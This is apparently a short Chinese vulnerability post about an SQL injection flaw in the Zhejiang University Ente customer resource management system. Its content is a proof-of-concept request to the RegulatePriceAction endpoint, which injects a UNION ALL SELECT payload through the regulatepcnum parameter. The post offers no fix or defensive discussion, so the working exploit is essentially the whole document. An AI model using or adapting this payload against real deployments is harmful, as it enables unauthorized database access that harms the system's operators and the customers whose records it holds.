浙大恩特客户资源管理系统-RegulatePriceAction存在SQL注入

本文最后更新于 2024年8月27日 上午

浙大恩特客户资源管理系统-RegulatePriceAction存在SQL注入

poc

1
2
/entsoft/RegulatePriceAction.entsoft;.js?method=getRegulatePricedlist&regulatepcnum=1'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,111*111--+aaaa